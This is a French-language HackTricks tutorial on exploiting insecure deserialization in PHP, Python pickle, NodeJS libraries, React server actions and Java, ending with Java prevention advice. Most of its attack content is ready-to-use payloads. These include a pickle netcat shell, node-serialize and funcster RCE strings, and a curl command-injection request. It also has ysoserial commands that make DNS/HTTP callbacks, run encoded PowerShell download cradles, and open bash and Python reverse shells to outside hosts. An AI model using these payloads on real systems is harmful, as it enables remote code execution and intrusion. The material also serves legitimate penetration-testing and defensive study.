Deserialization
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Serialization est entendue comme la méthode consistant à convertir un objet en un format qui peut être conservé, dans l’intention soit de stocker l’objet soit de le transmettre dans le cadre d’un processus de communication. Cette technique est couramment employée pour s’assurer que l’objet peut être recréé ultérieurement, en préservant sa structure et son état.
Deserialization, en revanche, est le processus qui s’oppose à la serialization. Il consiste à prendre des données structurées dans un format spécifique et à les reconstruire en un objet.
La Deserialization peut être dangereuse car elle permet potentiellement aux attaquants de manipuler les données sérialisées pour exécuter du code malveillant ou provoquer un comportement inattendu dans l’application lors du processus de reconstruction de l’objet.
PHP
Dans PHP, des magic methods spécifiques sont utilisées pendant les processus de serialization et de deserialization :
__sleep: Appelé lorsqu’un objet est en cours d’être serialized. Cette méthode doit renvoyer un tableau des noms de toutes les propriétés de l’objet qui doivent être serialized. Elle est couramment utilisée pour sauvegarder des données en attente ou effectuer des tâches de nettoyage similaires.__wakeup: Appelé lorsqu’un objet est en cours d’être deserialized. Il est utilisé pour rétablir les connexions à la base de données qui ont pu être perdues pendant la serialization et effectuer d’autres tâches de réinitialisation.__unserialize: Cette méthode est appelée à la place de__wakeup(si elle existe) lorsqu’un objet est en cours d’être deserialized. Elle offre un contrôle plus fin sur le processus de deserialization comparé à__wakeup.__destruct: Cette méthode est appelée lorsqu’un objet est sur le point d’être détruit ou lorsque le script se termine. Elle est typiquement utilisée pour des tâches de nettoyage, comme fermer des descripteurs de fichiers ou des connexions à la base de données.__toString: Cette méthode permet de traiter un objet comme une chaîne. Elle peut être utilisée pour lire un fichier ou effectuer d’autres tâches basées sur les appels de fonctions qu’elle contient, fournissant ainsi une représentation textuelle de l’objet.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
If you regardez les résultats, vous pouvez voir que les fonctions __wakeup et __destruct sont appelées lors de la désérialisation de l’objet. Notez que dans plusieurs tutoriels vous trouverez que la fonction __toString est appelée lorsqu’on essaie d’afficher un attribut, mais apparemment cela n’arrive plus.
Warning
La méthode
__unserialize(array $data)est appelée à la place de__wakeup()si elle est implémentée dans la classe. Elle permet de désérialiser l’objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer les tâches nécessaires lors de la désérialisation.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Vous pouvez lire un exemple PHP expliqué ici : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ici https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou ici https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Vous pouvez abuser de la fonctionnalité PHP autoload pour charger des fichiers php arbitraires et plus :
PHP - Deserialization + Autoload Classes
Sérialiser des valeurs référencées
Si, pour une raison quelconque, vous souhaitez sérialiser une valeur comme une référence à une autre valeur sérialisée, vous pouvez :
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Prévention de l’injection d’objets PHP avec allowed_classes
[!INFO] Le support du deuxième argument de
unserialize()(le tableau$options) a été ajouté dans PHP 7.0. Sur les versions plus anciennes, la fonction n’accepte que la chaîne sérialisée, rendant impossible la restriction des classes susceptibles d’être instanciées.
unserialize() va instancier chaque classe qu’il trouve dans le flux sérialisé, sauf indication contraire. Depuis PHP 7, le comportement peut être restreint avec l’option allowed_classes :
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Si allowed_classes est omis ou que le code s’exécute sur PHP < 7.0, l’appel devient dangereux car un attaquant peut créer une payload qui abuse des méthodes magiques telles que __wakeup() ou __destruct() pour obtenir Remote Code Execution (RCE).
Exemple réel : Everest Forms (WordPress) CVE-2025-52709
Le plugin WordPress Everest Forms ≤ 3.2.2 a essayé d’être défensif avec un helper wrapper mais a oublié les anciennes versions de PHP :
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Sur les serveurs qui exécutaient encore PHP ≤ 7.0, cette seconde branche conduisait à une classique PHP Object Injection lorsqu’un administrateur ouvrait une soumission de formulaire malveillante. Un payload d’exploitation minimal pourrait ressembler à :
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Dès que l’admin a consulté l’entrée, l’objet a été instancié et SomeClass::__destruct() a été exécuté, entraînant une exécution de code arbitraire.
Points clés
- Passez toujours
['allowed_classes' => false](ou une white-list stricte) lors de l’appel àunserialize(). - Auditez les wrappers défensifs – ils oublient souvent les anciennes branches de PHP.
- Mettre à jour vers PHP ≥ 7.x seul n’est pas suffisant : l’option doit toujours être fournie explicitement.
PHPGGC (ysoserial for PHP)
PHPGGC peut vous aider à générer des payloads pour abuser des deserializations PHP.
Notez que dans plusieurs cas vous ne pourrez pas trouver de moyen d’abuser d’une deserialization dans le code source de l’application mais vous pourrez être en mesure de abuser du code d’extensions PHP externes.
Donc, si possible, vérifiez le phpinfo() du serveur et cherchez sur Internet (et même dans les gadgets de PHPGGC) des gadgets possibles que vous pourriez abuser.
phar:// metadata deserialization
Si vous avez trouvé une LFI qui se contente de lire le fichier et qui n’exécute pas le code php à l’intérieur, par exemple en utilisant des fonctions comme file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Vous pouvez essayer d’abuser d’une deserialization se produisant lors de la lecture d’un file en utilisant le protocole phar.
Pour plus d’informations lisez le post suivant :
Python
Pickle
Lorsque l’objet est unpickled, la fonction ___reduce___ sera exécutée.
Lorsqu’il est exploité, le serveur peut retourner une erreur.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Avant de vérifier la technique de contournement, essayez d’utiliser print(base64.b64encode(pickle.dumps(P(),2))) pour générer un objet compatible avec python2 si vous exécutez python3.
Pour plus d’informations sur l’évasion des pickle jails consultez :
Yaml & jsonpickle
La page suivante présente la technique pour abuser d’une désérialisation non sécurisée dans les bibliothèques Python YAML et se termine par un outil pouvant être utilisé pour générer des payloads de désérialisation RCE pour Pickle, PyYAML, jsonpickle and ruamel.yaml :
Class Pollution (Python Prototype Pollution)
Class Pollution (Python’s Prototype Pollution)
NodeJS
JS Magic Functions
JS n’a pas de “magic” functions comme PHP ou Python qui vont être exécutées juste pour créer un objet. Mais il existe certaines fonctions qui sont fréquemment utilisées même sans être appelées directement telles que toString, valueOf, toJSON.
Si vous abusez d’une désérialisation, vous pouvez compromettre ces fonctions pour exécuter un autre code (potentiellement en abusant de prototype pollutions) et ainsi exécuter du code arbitraire lorsqu’elles sont appelées.
Another “magic” way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called “then” of type function, it will be executed just because it’s returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Si vous voulez en savoir plus sur cette technique jetez un œil au tutoriel suivant :
NodeJS - proto & prototype Pollution
node-serialize
Cette bibliothèque permet de sérialiser des fonctions. Exemple :
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
L’objet sérialisé ressemblera à :
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Vous pouvez voir dans l’exemple que lorsqu’une function est serialized le flag _$$ND_FUNC$$_ est ajouté à l’objet serialized.
Dans le fichier node-serialize/lib/serialize.js vous pouvez trouver le même flag et comment le code l’utilise.
.png)
.png)
Comme vous pouvez le voir dans le dernier extrait de code, si le flag est trouvé eval est utilisé pour désérialiser la function, donc essentiellement des données utilisateur sont utilisées à l’intérieur de la fonction eval.
Cependant, just serialising une function ne l’exécutera pas car il faudrait qu’une partie du code appelant y.rce existe dans notre exemple, ce qui est très peu probable.
Quoi qu’il en soit, vous pouvez simplement modify the serialised object en ajoutant des parenthèses afin d’auto-exécuter la function serialized lorsque l’objet est deserialized.
Dans le prochain extrait de code remarquez la dernière parenthèse et comment la function unserialize exécutera automatiquement le code:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Comme indiqué précédemment, cette bibliothèque récupérera le code après _$$ND_FUNC$$_ et l’exécutera en utilisant eval. Par conséquent, pour auto-exécuter du code vous pouvez supprimer la partie de création de fonction et la dernière parenthèse et exécuter simplement un oneliner JS comme dans l’exemple suivant :
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Vous pouvez find here further information sur la façon d’exploiter cette vulnérabilité.
funcster
Un aspect notable de funcster est l’inaccessibilité des objets intégrés standard ; ils se trouvent en dehors du scope accessible. Cette restriction empêche l’exécution de code qui tente d’invoquer des méthodes sur des objets intégrés, entraînant des exceptions telles que “ReferenceError: console is not defined” lorsque des commandes comme console.log() ou require(something) sont utilisées.
Malgré cette limitation, il est possible de restaurer un accès complet au contexte global, incluant tous les objets intégrés standard, via une approche spécifique. En exploitant directement le contexte global, on peut contourner cette restriction. Par exemple, l’accès peut être rétabli en utilisant l’extrait suivant :
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Pour more information read this source.
serialize-javascript
Le serialize-javascript package est conçu exclusivement pour la sérialisation, sans aucune capacité intégrée de désérialisation. Les utilisateurs sont responsables d’implémenter leur propre méthode de désérialisation. L’exemple officiel suggère l’utilisation directe de eval pour désérialiser les données sérialisées :
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Si cette fonction est utilisée pour désérialiser des objets vous pouvez l’exploiter facilement:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Pour more information read this source.
Bibliothèque Cryo
Dans les pages suivantes, vous trouverez des informations sur la manière d’abuser de cette bibliothèque pour exécuter des commandes arbitraires :
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) s’appuient sur react-server-dom-webpack (RSDW) pour décoder les soumissions de server action envoyées en tant que multipart/form-data. Chaque soumission d’action contient :
$ACTION_REF_<n>parts qui référencent l’action invoquée.$ACTION_<n>:<m>parts dont le corps est du JSON comme{"id":"module-path#export","bound":[arg0,arg1,...]}.
In version 19.2.0 the decodeAction(formData, serverManifest) helper blindly trusts both the id string (selecting which module export to call) and the bound array (the arguments). If an attacker can reach the endpoint that forwards requests to decodeAction, they can invoke any exported server action with attacker-controlled parameters even without a React front-end (CVE-2025-55182). The end-to-end recipe is:
- Apprendre l’identifiant de l’action. Bundle output, error traces or leaked manifests typically reveal strings like
app/server-actions#generateReport. - Recréer la charge utile multipart. Créez une partie
$ACTION_REF_0et un corps JSON$ACTION_0:0contenant l’identifiant et des arguments arbitraires. - Laissez
decodeActionle dispatcher. Le helper résout le module à partir deserverManifest, importe l’export, et renvoie un callable que le serveur exécute immédiatement.
Exemple de payload ciblant /formaction :
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Ou avec curl:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
Le tableau bound remplit directement les paramètres server-action. Dans le lab vulnérable, le gadget ressemble à :
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Fournir format = "pdf & whoami" fait que /bin/sh -c exécute le générateur de rapports légitime puis whoami, les deux outputs étant livrés à l’intérieur de la JSON action response. Toute server action qui wrappe filesystem primitives, database drivers ou autres interpreters peut être abusée de la même manière une fois que l’attacker contrôle les données bound.
Un attacker n’a jamais besoin d’un vrai client React—n’importe quel outil HTTP qui émet la forme multipart $ACTION_* peut appeler directement les server actions et chaîner le JSON output résultant dans un RCE primitive.
Java - HTTP
En Java, deserialization callbacks are executed during the process of deserialization. Cette exécution peut être exploitée par attackers qui façonnent des payloads malveillants déclenchant ces callbacks, conduisant à l’exécution potentielle d’actions nuisibles.
Fingerprints
White Box
Pour identifier d’éventuelles vulnérabilités de serialization dans la base de code, recherchez :
- Classes qui implémentent l’interface
Serializable. - Utilisation de
java.io.ObjectInputStream,readObject,readUnshare.
Faites particulièrement attention à :
XMLDecoderutilisé avec des paramètres définis par des utilisateurs externes.- La méthode
fromXMLde XStream, surtout si la version de XStream est <= 1.46, car elle est susceptible de problèmes de serialization. ObjectInputStreamcouplé à la méthodereadObject.- Implémentation de méthodes telles que
readObject,readObjectNodData,readResolve, oureadExternal. ObjectInputStream.readUnshared.- Utilisation générale de
Serializable.
Black Box
Pour les tests Black Box, recherchez des signatures ou “Magic Bytes” spécifiques qui indiquent des java serialized objects (provenant de ObjectInputStream) :
- Motif hexadécimal :
AC ED 00 05. - Motif Base64 :
rO0. - En-têtes de réponse HTTP avec
Content-typedéfini surapplication/x-java-serialized-object. - Motif hexadécimal indiquant une compression préalable :
1F 8B 08 00. - Motif Base64 indiquant une compression préalable :
H4sIA. - Fichiers web avec l’extension
.faceset le paramètrefaces.ViewState. La découverte de ces motifs dans une application web devrait conduire à un examen comme détaillé dans le post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Vérifier si vulnérable
Si vous voulez learn about how does a Java Deserialized exploit work vous devriez consulter Basic Java Deserialization, Java DNS Deserialization, et CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
Les bases de code modernes encapsulent parfois la deserialization avec java.security.SignedObject et valident une signature avant d’appeler getObject() (which deserializes the inner object). Cela empêche arbitrary top-level gadget classes mais peut rester exploitable si un attaquant peut obtenir une signature valide (p.ex., compromission de la clé privée ou un signing oracle). De plus, les flux de gestion d’erreurs peuvent générer des tokens liés à la session pour des utilisateurs non authentifiés, exposant des sinks autrement protégés pre-auth.
Pour une étude de cas concrète avec requests, IoCs, et des recommandations de durcissement, voir:
Java Signedobject Gated Deserialization
White Box Test
Vous pouvez vérifier si une application avec des vulnérabilités connues est installée.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Vous pouvez essayer de vérifier toutes les libraries connues comme vulnérables et pour lesquelles Ysoserial peut fournir un exploit. Ou vous pouvez vérifier les libraries indiquées sur Java-Deserialization-Cheat-Sheet.
Vous pouvez aussi utiliser gadgetinspector pour rechercher des gadget chains possibles exploitables.
Lorsque vous lancez gadgetinspector (après l’avoir buildé), ne vous préoccupez pas des tonnes d’avertissements/erreurs qu’il affiche et laissez-le terminer. Il écrira toutes les trouvailles sous gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Veuillez noter que gadgetinspector ne crée pas d’exploit et peut indiquer des faux positifs.
Test boîte noire
En utilisant l’extension Burp gadgetprobe vous pouvez identifier quelles libraries sont disponibles (et même leurs versions). Avec cette information, il peut être plus facile de choisir un payload pour exploiter la vulnérabilité.
Lisez ceci pour en savoir plus sur GadgetProbe.
GadgetProbe est axé sur les ObjectInputStream désérialisations.
En utilisant l’extension Burp Java Deserialization Scanner vous pouvez identifier des libraries vulnérables exploitables avec ysoserial et exploit celles-ci.
Lisez ceci pour en savoir plus sur Java Deserialization Scanner.
Java Deserialization Scanner est axé sur les désérialisations ObjectInputStream.
Vous pouvez aussi utiliser Freddy pour détecter des vulnérabilités de désérialisation dans Burp. Ce plugin détectera non seulement les vulnérabilités liées à ObjectInputStream, mais aussi les vulnérabilités provenant des librairies de désérialisation Json et Yml. En mode actif, il tentera de les confirmer en utilisant des payloads sleep ou DNS.
Vous trouverez plus d’informations sur Freddy ici.
Test de sérialisation
Il ne s’agit pas seulement de vérifier si une library vulnérable est utilisée par le serveur. Parfois, vous pouvez modifier les données à l’intérieur de l’objet sérialisé et contourner certaines vérifications (peut-être vous accorder des privilèges admin dans une webapp).
Si vous trouvez un objet Java sérialisé envoyé à une web application, vous pouvez utiliser SerializationDumper pour afficher dans un format plus lisible l’objet sérialisé qui est envoyé. Savoir quelles données vous envoyez facilite leur modification et le contournement de certaines vérifications.
Exploit
ysoserial
L’outil principal pour exploiter les désérialisations Java est ysoserial (download here). Vous pouvez aussi envisager d’utiliser ysoseral-modified qui vous permettra d’exécuter des commandes complexes (avec des pipes par exemple).
Notez que cet outil est focalisé sur l’exploitation de ObjectInputStream.
Je commencerais par utiliser le payload “URLDNS” avant un payload RCE pour tester si l’injection est possible. Quoi qu’il en soit, notez que le payload “URLDNS” peut ne pas fonctionner alors qu’un autre payload RCE fonctionne.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Lors de la création d’un payload pour java.lang.Runtime.exec() vous ne pouvez pas utiliser de caractères spéciaux comme “>” ou “|” pour rediriger la sortie d’une exécution, “$()” pour exécuter des commandes ou même passer des arguments à une commande séparés par des espaces (vous pouvez faire echo -n "hello world" mais vous ne pouvez pas faire python2 -c 'print "Hello world"'). Pour encoder correctement le payload vous pourriez use this webpage.
N’hésitez pas à utiliser le script suivant pour créer all the possible code execution payloads pour Windows et Linux et ensuite les tester sur la page web vulnérable:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Vous pouvez utiliser https://github.com/pwntester/SerialKillerBypassGadgetCollection avec ysoserial pour créer davantage d’exploits. Plus d’informations sur cet outil dans les slides de la conférence où l’outil a été présenté : https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec peut être utilisé pour générer des payloads pour exploiter différentes bibliothèques de sérialisation Json et Yml en Java.
Pour compiler le projet, j’ai dû ajouter ces dépendances à pom.xml:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installez maven, et compilez le projet:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Pour en savoir plus sur cette bibliothèque Java JSON : https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Laboratoires
- Si vous voulez tester des payloads ysoserial, vous pouvez exécuter cette webapp : https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Pourquoi
Java utilise beaucoup la sérialisation pour diverses finalités, comme :
- HTTP requests : La sérialisation est largement employée dans la gestion des paramètres, ViewState, cookies, etc.
- RMI (Remote Method Invocation) : Le protocole Java RMI, qui repose entièrement sur la sérialisation, est une pierre angulaire pour la communication à distance dans les applications Java.
- RMI over HTTP : Cette méthode est couramment utilisée par des applications web à thick client basées sur Java, utilisant la sérialisation pour toutes les communications d’objets.
- JMX (Java Management Extensions) : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
- Custom Protocols : En Java, la pratique standard implique la transmission d’objets Java bruts, qui seront démontrés dans les prochains exemples d’exploit.
Prévention
Objets transient
Une classe qui implémente Serializable peut déclarer comme transient tout objet à l’intérieur de la classe qui ne devrait pas être sérialisable. Par exemple :
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Éviter la sérialisation d’une classe qui doit implémenter Serializable
Dans des scénarios où certains objets doivent implémenter l’interface Serializable en raison de la hiérarchie de classes, il existe un risque de désérialisation involontaire. Pour l’empêcher, assurez-vous que ces objets ne soient pas désérialisables en définissant une méthode final readObject() qui lance systématiquement une exception, comme montré ci-dessous :
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Renforcer la sécurité de la désérialisation en Java
Personnaliser java.io.ObjectInputStream est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode convient lorsque :
- Le code de désérialisation est sous votre contrôle.
- Les classes attendues pour la désérialisation sont connues.
Surchargez la méthode resolveClass() pour limiter la désérialisation uniquement aux classes autorisées. Cela empêche la désérialisation de toute classe sauf celles explicitement permises, comme dans l’exemple suivant qui restreint la désérialisation à la classe Bicycle uniquement :
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
